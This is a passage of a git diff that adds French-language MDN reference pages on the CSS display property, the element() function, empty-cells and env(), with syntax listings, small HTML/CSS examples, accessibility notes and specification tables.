+ <dd>L'élément génère une boîte « <em>run-in</em> ». Si le voisin adjacent à l'élément est une boîte de bloc, la boîte <code>run-in</code> devient la première boîte en ligne qui suit cette boîte de bloc.<br>
+ <br>
+ Les éléments <em>run-in</em> se comportent comme des éléments de bloc ou en ligne selon les éléments environnants. Autrement dit, si la boîte <em>run-in</em> contient une boîte de bloc, l'élément se comportera comme un bloc. Si la boîte de bloc suit une boîte <em>run-in</em>, la boîte <em>run-in</em> deviendra la première boîte en ligne de la boîte de bloc. Si une boîte en ligne succède à l'élément, la boîte <em>run-in</em> deviendra une boîte de bloc.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note : </strong>Browsers that support the two value syntax, on finding the outer value only, such as when <code>display: block</code> or <code>display: inline</code> is specified, will set the inner value to <code>flow</code>. This will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout.</p>
+
+<p><strong>Note : </strong>Les navigateurs qui prennent en charge la syntaxe avec deux valeurs utiliseront la valeur par défaut <code>flow</code> pour le mode intérieur si <code>display: block</code> ou <code>display: inline</code>.  On a ainsi le résultat attendu (si on souhaite qu'un élément se comporte comme un bloc, on s'attend à ce que les éléments fils de cet élément contribuent à la disposition normale en bloc et en ligne).</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, les éléments {{HTMLElement("span")}}, normalement affichés comme des éléments en ligne, sont paramétrés avec <code>display: block</code> et passent à la ligne en étendant leur conteneur selon l'axe en ligne.</p>
+
+<p> </p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  display: block;
+  border: 1px solid rebeccapurple;
+}</pre>
+
+<p> </p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;span 1&lt;/span&gt;
+&lt;span&gt;span 2&lt;/span&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 60)}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Prise_en_charge_run-in">Prise en charge <code>run-in</code></h3>
+
+<p>{{Compat("css.properties.display.run-in", 10)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+  <ul>
+   <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-internal&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts explained</a></li>
+</ul>
diff --git a/files/fr/web/css/display/index.html b/files/fr/web/css/display/index.html
new file mode 100644
index 0000000000..bf24d05e9a
--- /dev/null
+++ b/files/fr/web/css/display/index.html
@@ -0,0 +1,237 @@
+---
+title: display
+slug: Web/CSS/display
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - display
+translation_of: Web/CSS/display
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>display</code></strong> définit le type d'affichage utilisée pour le rendu d'un élément (<a href="/fr/docs/Web/CSS/CSS_Flow_Layout">de bloc ou en ligne</a>) et la disposition utilisée pour ses éléments fils : <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">grille</a> ou <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">boîtes flexibles</a>.</p>
+
+<p>Le type d'affichage donné par <code>display</code> possède deux composantes : le type d'affichage extérieur qui définit comment la boîte participe au <a href="/fr/docs/Web/CSS/CSS_Flow_Layout">flux</a> et le type d'affichage intérieur qui définit l'organisation des éléments enfants.</p>
+
+<p>Certaines valeurs de <code>display</code> sont définies dans des spécifications séparées. Pour plus d'informations, voir la section Spécifications ci-après.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valeurs de type &lt;display-outside&gt; */
+display: block;
+display: inline;
+display: run-in;
+
+/* Valeurs de type &lt;display-inside&gt; */
+display: flow;
+display: flow-root;
+display: table;
+display: flex;
+display: grid;
+display: ruby;
+
+/* Combinaison de valeurs */
+/* &lt;display-outside&gt; et &lt;display-inside&gt; */
+display: block flow;
+display: inline table;
+display: flex run-in;
+
+/* Valeurs de type &lt;display-listitem&gt; */
+display: list-item;
+display: list-item block;
+display: list-item inline;
+display: list-item flow;
+display: list-item flow-root;
+display: list-item block flow;
+display: list-item block flow-root;
+display: flow list-item block;
+
+/* Valeurs de type &lt;display-internal&gt; */
+display: table-row-group;
+display: table-header-group;
+display: table-footer-group;
+display: table-row;
+display: table-cell;
+display: table-column-group;
+display: table-column;
+display: table-caption;
+display: ruby-base;
+display: ruby-text;
+display: ruby-base-container;
+display: ruby-text-container;
+
+/* Valeurs de type &lt;display-box&gt; */
+display: contents;
+display: none;
+
+/* Valeurs de type &lt;display-legacy&gt; */
+display: inline-block;
+display: inline-table;
+display: inline-flex;
+display: inline-grid;
+
+/* Valeurs globales */
+display: inherit;
+display: initial;
+display: unset;
+</pre>
+
+<p>La propriété <code>display</code> est définie à l'aide de mots-clés. Ces valeurs sont rangées selon six catégories.</p>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-outside&gt;")}}</dt>
+ <dd>Ces mots-clés définissent le type d'affichage extérieur de l'élément. Autrement dit, ils définissent comment l'élément participe au flux.</dd>
+ <dt>{{CSSxRef("&lt;display-inside&gt;")}}</dt>
+ <dd>Ces mots-clés définissent le type d'affichage intérieur de l'élément qui définit le contexte de formatage qui organisera le contenu de l'élément (si celui-ci n'est pas un élément remplacé).</dd>
+ <dt>{{CSSxRef("&lt;display-listitem&gt;")}}</dt>
+ <dd>L'élément génère une boîte de bloc pour le contenu et une boîte en ligne séparée pour l'élément de liste.</dd>
+ <dt>{{CSSxRef("&lt;display-internal&gt;")}}</dt>
+ <dd>Certains modes de dispositions, tels que <code><span class="css">table</span></code> et <code>ruby</code> possèdent une structure interne complexe avec différents rôles possibles pour les éléments descendants. Cette section définit ces rôles internes qui s'appliquent uniquement pour un mode de disposition donné.</dd>
+ <dt>{{CSSxRef("&lt;display-box&gt;")}}</dt>
+ <dd>Ces valeurs définissent si un élément génère une boîte ou non.</dd>
+ <dt>{{CSSxRef("&lt;display-legacy&gt;")}}</dt>
+ <dd>CSS 2 utilise une syntaxe avec un seul mot-clé pour la propriété <code>display</code> et il faut donc des mots-clés distincts pour les variantes bloc/en ligne d'un même mode de disposition.</dd>
+</dl>
+
+<h3 id="Valeurs_historiques_de_display">Valeurs historiques de <code>display</code></h3>
+
+<p>La spécification de niveau 3 permet d'utiliser deux valeurs pour définir la propriété <code>display</code> afin de définir explicitement le type d'affichage intérieur et le type d'affichage extérieur. Toutefois, cette syntaxe sur deux valeurs n'est pas encore prise en charge de façon homogène par les navigateurs.</p>
+
+<p>Les méthodes d'affichage historiques permettent d'obtenir les mêmes résultats avec un seul mot-clé. Ces valeurs devraient être privilégiées tant que la prise en charge de la syntaxe sur deux valeurs n'est pas mieux prise en charge. Ainsi, il est possible d'utiliseur deux valeur afin de définir un conteneur flexible en ligne :</p>
+
+<pre class="brush: css notranslate">.container {
+  display: inline flex;
+}</pre>
+
+<p>On pourra obtenir un comportement équivalent en écrivant cela avec une seule valeur.</p>
+
+<pre class="brush: css notranslate">.container {
+  display: inline-flex;
+}
+</pre>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>En plus de l'exemple qui suit, vous pouvez voir d'autres exemples sur les sections dédiées aux différents modes de disposition :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Grilles CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Boîtes flexibles (<em>flexbox</em>) CSS</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/CSS_layout">Apprendre la disposition en CSS</a></li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Texte visible
+&lt;/p&gt;
+&lt;p class="secret"&gt;
+  Texte invisible
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p.secret {
+  display: none;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 60)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="display_none"><code>display: none;</code></h3>
+
+<p>Utiliser la propriété <code>display</code> avec la valeur <code>none</code> sur un élément entraînera son retrait de l'<a href="/fr/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">arbre d'accessibilité</a>. Cet élément ainsi que ses descendants ne seront plus annoncés par les lecteurs d'écrans.</p>
+
+<p>Si vous souhaitez masquer un élément visuellement, une alternative plus accessible consiste à utiliser <a href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">une combinaison de propriétés</a> afin de le retirer de l'écran mais de le conserver lisible pour les technologies d'assistance.</p>
+
+<h3 id="display_contents"><code>display: contents;</code></h3>
+
+<p>Tout élément ciblé avec <code>display: contents</code> sera retiré de l'arbre d'accessibilité par la plupart des navigateurs. Ainsi, l'élément et ses descendants ne seront plus annoncés par les outils d'assistance tels que les lecteurs d'écran. Ce comportement est incorrect selon <a href="https://drafts.csswg.org/css-display/#the-display-properties">la spécification CSSWG</a>.</p>
+
+<ul>
+ <li><a href="https://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html"><code>display: contents</code> n'est pas un outil de réinitialisation CSS, par Adrian Roselli, en anglais</a></li>
+ <li><a href="https://hiddedevries.nl/en/blog/2018-04-21-more-accessible-markup-with-display-contents">Obtenir un balisage plus accessible grâce à <code>display: contents</code>, en anglais, par Hidde de Vries</a></li>
+</ul>
+
+<h3 id="Les_tableaux">Les tableaux</h3>
+
+<p>Modifier la valeur de <code>display</code> pour un élément de <a href="/en-US/docs/Web/HTML/Element/table">tableau</a> afin d'utiliser la valeur <code>block</code>, <code>grid</code> ou <code>flex</code> modifiera sa représentation au sein de l'<a href="/fr/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">arbre d'accessibilité</a>. Aussi, le tableau ne sera plus correctement annoncé par les technologies d'assistance.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2018/03/short-note-on-what-css-display-properties-do-to-table-semantics/">Une rapide note sur l'impact de la propriété CSS <code>display</code> sur la sémantique des tableaux — The Paciello Group (en anglais)</a></li>
+ <li><a href="https://gomakethings.com/hidden-content-for-better-a11y/">Du contenu masqué avec une meilleure accessibilité - Go Make Things (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Comprendre les règles WCAG 1.3</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html"><em>Understanding Success Criterion 1.3.1, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td>
+   <td>{{Spec2('CSS3 Display')}}</td>
+   <td>Ajout des valeurs <code>run-in</code>, <code>contents</code>, <code>flow</code>, <code>flow-root</code> et des valeurs avec plusieurs mots-clés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>Ajout des valeurs <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code> et <code>ruby-text-container</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}</td>
+   <td>{{Spec2('CSS3 Grid')}}</td>
+   <td>Ajout des valeurs pour le modèle de boîtes en grille.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Ajout des valeurs pour le modèle de boîtes flexibles.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajout des valeurs pour le modèle de boîte pour les tableaux et de la valeur <code>inline-block<em>.</em></code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#display', 'display')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale. Définitions des valeurs basiques : <code>none</code>, <code>block</code>, <code>inline</code>, et <code>list-item</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.display",10)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Explications_contextes_formatage">Explications sur les contextes de formatage</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal">Les dispositions de bloc et en ligne dans un flux normal</a></li>
+</ul>
diff --git a/files/fr/web/css/element()/index.html b/files/fr/web/css/element()/index.html
new file mode 100644
index 0000000000..d4d6391db2
--- /dev/null
+++ b/files/fr/web/css/element()/index.html
@@ -0,0 +1,149 @@
+---
+title: element
+slug: Web/CSS/element()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/element()
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La fonction <strong><code>element()</code></strong> définit une valeur {{cssxref("&lt;image&gt;")}} générée à partir d'un élément HTML arbitraire. L'image est calculée dynamiquement : si l'élément HTML change, les propriétés CSS utilisant la valeur seront automatiquement mis à jour.</p>
+
+<p>Un scénario pour lequel cette fonction est particulièrement utile : on génère une image dans un élément HTML {{HTMLElement("canvas")}} et on l'utilise comme arrière-plan.</p>
+
+<p>Pour les navigateurs basés sur Gecko, on peut utiliser la méthode {{domxref("document.mozSetImageElement()")}} pour modifier l'élément utilisé comme arrière-plan pour un <code>background</code> CSS donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">element(<var>id</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><strong><code>id</code></strong></dt>
+ <dd>L'identifiant (correspondant à l'attribut {{htmlattrxref("id")}}) de l'élément HTML visé.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_premier_exemple_réaliste">Un premier exemple réaliste</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.exemple {
+  width: 400px;
+  height: 400px;
+  background: -moz-element(#monArrierePlan) no-repeat;
+
+}
+
+.paragraphe {
+  transform-origin: 0 0;
+  transform: rotate(45deg);
+  color: white;
+}
+
+#monArrierePlan{
+  width: 1024px;
+  height: 1024px;
+  background-image: linear-gradient(to right, red, orange, yellow, white);
+}
+.cache {
+  overflow: hidden;
+  height: 0;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="exemple"&gt;
+  &lt;p&gt;
+    Cet élément utilise l'élément
+    #monArrierePlan comme image
+    de fond !
+  &lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div class="cache"&gt;
+  &lt;div id="monArrierePlan"&gt;
+    &lt;p class="paragraphe"&gt;
+      Et voici un texte inscrit sur
+      l'arrière-plan.
+    &lt;/p&gt;
+  &lt;div&gt;
+&lt;div&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>Pour les navigateurs qui prennent en charge <code>element</code>, on peut ici voir un arrière-plan généré avec un paragraphe HTML.</p>
+
+<p>{{EmbedLiveSample("Un_premier_exemple_réaliste","400","400")}}</p>
+
+<h3 id="Un_second_exemple_plus_méchant">Un second exemple plus méchant</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.exemple {
+  width: 400px;
+  height: 100px;
+  background: -moz-element(#monArrierePlan);
+}
+
+.cache {
+  overflow: hidden;
+  height: 0;
+} </pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="exemple"&gt;&lt;/div&gt;
+
+&lt;div class="cache"&gt;
+  &lt;button id="monArrierePlan" type="button"&gt;
+    Méchant bouton
+  &lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_second_exemple_plus_méchant","400","400")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#element-notation', 'Using Elements as Images: the element() notation')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Reporté pour CSS4</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.image.element")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("document.mozSetImageElement()")}}</li>
+ <li>{{cssxref("_image", "image()")}}</li>
+ <li>{{cssxref("image-set", "image-set()")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+ <li>{{domxref("document.mozSetImageElement()")}}</li>
+</ul>
diff --git a/files/fr/web/css/empty-cells/index.html b/files/fr/web/css/empty-cells/index.html
new file mode 100644
index 0000000000..96841dab17
--- /dev/null
+++ b/files/fr/web/css/empty-cells/index.html
@@ -0,0 +1,118 @@
+---
+title: empty-cells
+slug: Web/CSS/empty-cells
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/empty-cells
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>empty-cells</code></strong> définit la façon dont l'agent utilisateur doit afficher les bordures et l'arrière-plan des cellules d'un tableau ({{HTMLElement("table")}}) qui n'ont aucun contenu visible.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/empty-cells.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est uniquement appliquée lorsque <code>border-collapse</code> vaut <code>separate</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec mot-clé */
+empty-cells: show;
+empty-cells: hide;
+
+/* Valeurs globales */
+empty-cells: inherit;
+empty-cells: initial;
+empty-cells: unset;
+</pre>
+
+<p>Cette propriété se définit avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>show</code></dt>
+ <dd>Un mot-clé indiquant que les bordures et l'arrière-plan doivent être dessinés comme pour les cellules normales.</dd>
+ <dt><code>hide</code></dt>
+ <dd>Un mot-clé indiquant qu'aucune bordure ou arrière-plan ne doit être dessiné.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table class="table_1"&gt;
+    &lt;tr&gt;
+        &lt;td&gt;Jean&lt;/td&gt;
+        &lt;td&gt;Biche&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;Alice&lt;/td&gt;
+        &lt;td&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;
+&lt;table class="table_2"&gt;
+    &lt;tr&gt;
+        &lt;td&gt;Jean&lt;/td&gt;
+        &lt;td&gt;Biche&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;Alice&lt;/td&gt;
+        &lt;td&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.table_1 {
+  empty-cells: show;
+}
+.table_2 {
+  empty-cells: hide;
+}
+
+td, th {
+  border: 1px solid #999;
+  padding: 0.5rem;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', '200')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'tables.html#empty-cells', 'empty-cells')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.empty-cells")}}</p>
diff --git a/files/fr/web/css/env()/index.html b/files/fr/web/css/env()/index.html
new file mode 100644
index 0000000000..aaf9a7792d
--- /dev/null
+++ b/files/fr/web/css/env()/index.html
@@ -0,0 +1,150 @@
+---
+title: env()
+slug: Web/CSS/env()
+tags:
+  - CSS
+  - CSS Function
+  - CSS Variables
+  - Fonction
+  - Reference
+  - env()
+translation_of: Web/CSS/env()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>env()</code></strong> peut être utilisée afin d'insérer la valeur d'une variable d'environnement dans une règle. Les variables d'environnement sont globales pour un document donné, à la différence des <a href="/fr/docs/Web/CSS/--*">propriétés personnalisées</a>. Les variables d'environnement sont définies au niveau de l'agent utilisateur et non par l'utilisateur/le concepteur.</p>
+
+<p><code>env()</code> peut être utilisée aux endroits où on souhaite remplacer la valeur, à la façon de la fonction <code><a href="/fr/docs/Web/CSS/var()">var()</a></code>.</p>
+
+<pre class="brush: css notranslate">body {
+  padding:
+    env(safe-area-inset-top, 20px)
+    env(safe-area-inset-right, 20px)
+    env(safe-area-inset-bottom, 20px)
+    env(safe-area-inset-left, 20px);
+}</pre>
+
+<p>La fonction <code>env()</code> peut être utilisée à n'importe quel endroit où une valeur peut être associée à une propriété, à n'importe quel endroit où une valeur peut être utilisée dans un descripteur d'une règle @ (ex. dans une <a href="/fr/docs/Web/CSS/@media">requête média</a>) et, de façon générale, à n'importe quel endroit où les valeurs CSS sont autorisées. Selon les évolutions de la spécification, cette fonction pourrait également être utilisées à d'autres endroits comme les sélecteurs.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Les variables d'environnement furent initialement fournies par le navigateur iOS afin de permettre aux développeurs de placer le contenu sur une zone sûre de la zone d'affichage (<em>viewport</em>) et d'éviter le décrochement formé en haut de l'écran sur certains des appareils.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css notranslate">/* Utilisation des quatre zones sûres */
+env(safe-area-inset-top)
+env(safe-area-inset-right)
+env(safe-area-inset-bottom)
+env(safe-area-inset-left)
+
+/* Utilisation du deuxième paramètre pour une valeur de recours */
+env(safe-area-inset-top, 20px);
+env(safe-area-inset-right, 1em);
+env(safe-area-inset-bottom, 0.5vh);
+env(safe-area-inset-left, 1.4rem);
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code id="safe-area-inset-top" style="white-space: nowrap;">safe-area-inset-top</code>, <code id="safe-area-inset-right" style="white-space: nowrap;">safe-area-inset-right</code>, <code id="safe-area-inset-bottom" style="white-space: nowrap;">safe-area-inset-bottom</code>, <code id="safe-area-inset-left" style="white-space: nowrap;">safe-area-inset-left</code></dt>
+ <dd>Ces mots-clés sont des variables d'environnement qui définissent un rectangle avec les décalages par rapport à chacun des côtés de la zone d'affichage (<em>viewport</em>) dans lequel on pourra placer du contenu sans que ce dernier puisse être rogné du fait de la forme non rectangulaire de l'affichage.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> À la différence des autres propriétés CSS, les identifiants provenant de l'agent utilisateur sont sensibles à la casse.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Dans l'exemple qui suit, on utilise le deuxième paramètre de la notation fonctionnelle <code>env()</code> afin de fournir une valeur de recours lorsque la variable d'environnement n'est pas disponible.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Si la fonction &lt;code&gt;env()&lt;/code&gt; est prise en charge dans votre
+  navigateur, le texte de ce paragraphe aura 50 pixels de padding avec
+  la bordure gauche mais pas la droite / basse et haute.
+  En effet, le code CSS associé est équivalent à &lt;code&gt;padding: 0 0 0 50px&lt;/code&gt;
+  car les noms des propriétés CSS associées aux agents utilisateurs sont
+  sensibles à la casse (contrairement aux autres propriétés).
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 300px;
+  border: 2px solid red;
+  padding:
+    env(safe-area-inset-top, 50px)
+    env(safe-area-inset-right, 50px)
+    env(safe-area-inset-bottom, 50px)
+    env(SAFE-AREA-INSET-LEFT, 50px);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h3 id="Exemples_de_valeurs">Exemples de valeurs</h3>
+
+<pre class="brush: css notranslate">/* zéro pour les agents utilisateurs rectangulaires */
+padding: env(safe-area-inset-bottom, 50px);
+
+/* 50px car les propriétés de l'agent sont sensibles à la casse */
+padding: env(Safe-area-inset-bottom, 50px);
+
+/* correspond à padding: 50px 20px car x n'est pas une variable
+   d'environnement valide */
+padding: env(x, 50px 20px);
+
+/* ignorée car '50px, 20px' n'est pas une valeur de padding correcte
+   et que x n'est pas une variable d'environnement */
+padding: env(x, 50px, 20px);
+</pre>
+
+<p>Pour la deuxième valeur, il est possible d'utiliser des virgules afin de fournir un ensemble composite de valeurs à la propriété. Toutefois, si la propriété en question ne permet pas de gérer plusieurs valeurs, la déclaration sera invalide.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Les propriétés relatives à l'agent utilisateur ne sont pas réinitialisées avec la propriété {{cssxref("all")}}.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Environment Variables", "#env-function", "env()")}}</td>
+   <td>{{Spec2("CSS3 Environment Variables")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
